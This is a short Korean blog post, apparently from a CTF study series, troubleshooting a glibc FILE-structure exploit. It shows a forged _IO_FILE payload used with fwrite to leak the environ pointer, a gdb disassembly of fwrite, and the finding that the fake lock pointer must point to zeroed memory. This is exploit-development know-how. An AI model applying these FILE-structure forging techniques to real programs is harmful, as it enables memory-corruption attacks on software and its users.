728x90
반응형
문제를 풀다가 생긴 문제점을 간단하게 요약하겠다.
fwrite 함수를 파일 스트럭쳐를 변조한 뒤 call 하여 aaw를 하던 와중, 분명 fwrite 함수가 실행됐는데 입력을 받으며 멈춰있는 현상이 발생했고, 페이로드는 아래와 같았다.
pay += p64(0) #read ptr
pay += p64(environ) #read end
pay += p64(0) #read base
pay += p64(environ) #write base
pay += p64(environ+0x100) #write ptr
pay += p64(0) #write end
pay += p64(0) #buf base
pay += p64(0) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #markeropen_
pay += p64(0) #chain
pay += p64(1) #fileno
pay += p64(0) #flag2
pay += p64(0) #
pay += p64(heap_leak-0x10) #lock
확인해보니 fwrite 함수 내에서 실행되는 __lll_lock_wait_private 함수 내의
cmp $0xfffffffffffff000, %rax
부분에서 멈춰있음을 볼 수 있었다.
앞으로 돌아가며 찾아보니, fwrite 함수 내에서 lock 변수의 값을 확인하여 해당 함수를 실행하는 것을 볼 수 있었다.
gef➤ disas fwrite
Dump of assembler code for function fwrite:
0x00007fe490271fa0 <+0>: endbr64
0x00007fe490271fa4 <+4>: push %r15
0x00007fe490271fa6 <+6>: push %r14
...
0x00007fe490271ff2 <+82>: lock cmpxchg %edx,(%rdi)
0x00007fe490271ff6 <+86>: jne 0x7fe490272110 <fwrite+368>
...
0x00007fe4902720e5 <+325>: nopl (%rax)
0x00007fe4902720e8 <+328>: callq 0x7fe490283380 <__lll_lock_wake_private>
0x00007fe4902720ed <+333>: jmp 0x7fe490272088 <fwrite+232>
0x00007fe4902720ef <+335>: mov %r14,%rax
0x00007fe4902720f2 <+338>: xor %edx,%edx
0x00007fe4902720f4 <+340>: div %r13
0x00007fe4902720f7 <+343>: mov %rax,%r12
0x00007fe4902720fa <+346>: jmp 0x7fe490272095 <fwrite+245>
0x00007fe4902720fc <+348>: nopl 0x0(%rax)
0x00007fe490272100 <+352>: callq 0x7fe49027bf70
0x00007fe490272105 <+357>: jmpq 0x7fe49027204a <fwrite+170>
0x00007fe49027210a <+362>: nopw 0x0(%rax,%rax,1)
0x00007fe490272110 <+368>: callq 0x7fe4902832b0 <__lll_lock_wait_private>
...
문제는 heap_leak 즉 lock 값이었으며, heap_leak 주소의 값이 0이 아니면 실행된다.
그러므로 lock 값은 무조건 주소의 값이 0인 주소로 설정하여야 한다.
728x90
반응형
'File Structure' 카테고리의 다른 글
| _IO_FILE_plus의 모든 것. (0) | 2022.08.21 |
|---|---|
| FSOP - _IO_flush_all_lockp () (0) | 2022.08.18 |
| Bypass IO_validate_vtable (0) | 2022.08.17 |
| _IO_FILE Arbitrary Address Write (0) | 2022.08.16 |
| _IO_FILE Arbitrary Address Read (0) | 2022.08.16 |